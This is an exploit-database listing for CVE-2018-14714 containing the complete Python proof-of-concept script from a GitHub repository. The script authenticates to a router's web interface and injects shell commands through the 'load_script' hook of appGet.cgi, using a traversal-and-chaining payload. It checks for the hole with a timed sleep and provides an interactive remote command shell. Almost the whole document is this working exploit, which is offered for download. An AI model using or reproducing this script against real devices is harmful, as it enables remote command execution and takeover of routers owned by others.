Exploit database

GH-8bca5eba112d59dcaba0d4aebaab0f32

bttea/cve-2018-14714-rce-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-14714

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
bttea/cve-2018-14714-rce-exploitRevision 1b8f7ca10328

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2018-14714-RCE_PoC.py

Python · 5,064 bytes
import requests
import sys
import urllib.parse
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


class colors:
        red  ='\033[91m'
        green='\033[92m'
        blue ='\033[94m'
        reset='\033[0m'


class Exploit():

    def __init__(self,target:str,user:str,password:str):
        self.cookie=''
        self.target=target
        self.user=user
        self.password=password
        self.cmd=''

    def RunCommand(self,cmd:str):
        self.GetLoginSession()
        payload=urllib.parse.quote(f'../bin/echo && ({cmd})')
        while True:
            try:
                StartTime=time.time()
                res = requests.get(
                    f'{self.target}/appGet.cgi?hook=load_script("{payload}")',
                    headers={
                        'Cookie': self.cookie,
                    },
                    verify=False
                )
                EndTime=time.time()
                break
            except:
                continue
        return EndTime-StartTime

    def ConnectionTest(self):
        res = requests.get(self.target,verify=False)
        return res.status_code == 200

    def GetLoginSession(self):
        login_authorization=f'{self.user}:{self.password}'
        login_authorization=base64.b64encode(login_authorization.encode('UTF-8')).decode('UTF-8')
        res = requests.post(
            f'{self.target}/login.cgi',
            data={
                'group_id':'',
                'action_mode':'',
                'action_script':'',
                'action_wait':5,
                'current_page':'Main_Login.asp',
                'next_page':'index.asp',
                'login_authorization':login_authorization
            },
            verify=False
        )
        if res.text=="<HTML><HEAD>\n<script>parent.location.href='/index.asp';</script>\n</HEAD></HTML>\n":
            self.cookie=res.headers['Set-Cookie']
            return True
        else:
            return False


    def CheckExploitPage(self):
        res = requests.get(
            f'{self.target}/appGet.cgi?hook=load_script("")',
            headers={
                'Cookie': self.cookie,
            },
            verify=False
        )
        return res.status_code == 200 and res.text=='{\n"load_script("")":""\n}\n'


    def CheckVulnerabilities(self):
        ExecuteTime=self.RunCommand('sleep 3')
        return ExecuteTime >= 3.0


    def run(self):
        # check target
        print(f'{colors.blue}[*] Check whether the target can connect normally...{colors.reset}')
        if self.ConnectionTest():
            print(f'{colors.green}[+] Ok.{colors.reset}')
        else:
            print(f'{colors.red}[-] The target seems unable to connect :({colors.reset}')
            exit(0)

        # GetLoginSession()
        print(f'{colors.blue}[*] Get login session...{colors.reset}')
        if self.GetLoginSession():
            print(f'{colors.green}[+] Ok.{colors.reset}')
        else:
            print(f'{colors.red}[-] Maybe the account or password is wrong :({colors.reset}')
            exit(0)

        # CheckExploitPage()
        print(f'{colors.blue}[*] Check if the \'appGet.cgi\' page exists...{colors.reset}')
        if self.CheckExploitPage():
            print(f'{colors.green}[+] Discover the \'appGet.cgi\' page !!{colors.reset}')
        else:
            print(f'{colors.red}[-] The page does not exist and the vulnerability cannot be exploited :({colors.reset}')
            exit(0)

        # Check Vulnerabilities
        print(f'{colors.blue}[*] Use time-based injection techniques to check for the existence of vulnerabilities...{colors.reset}')
        if self.CheckVulnerabilities():
            print(f'{colors.green}[+] Weaknesses exist !!{colors.reset}')
        else:
            print(f'{colors.red}[-] The vulnerability does not exist and cannot be exploited :({colors.reset}')
            exit(0)


def main():

    if len(sys.argv)<4:
        print(f'Usage:')
        print(f'\tCheck vulnerability:\t{sys.argv[0]} [target] [user] [password]')
        print(f'\tCommand execution:\t{sys.argv[0]} [target] [user] [password] shell')
        print(f'\nExample: {sys.argv[0]} http://192.168.1.1 "admin" "admin"\n')
        exit(0)

    Target  =sys.argv[1]
    User    =sys.argv[2]
    Password=sys.argv[3]

    exp=Exploit(Target,User,Password)

    if len(sys.argv)==5 and sys.argv[4]=='shell' and exp.ConnectionTest() and exp.GetLoginSession() and exp.CheckExploitPage():
        cmd=''
        while True:
            cmd=input('shell> ')
            if cmd=='quit':
                print('Bye!')
                break
            print(f'{colors.blue}Command running time : {exp.RunCommand(cmd)}{colors.reset}')
    else:
        exp.run()


if __name__ == '__main__':
    main()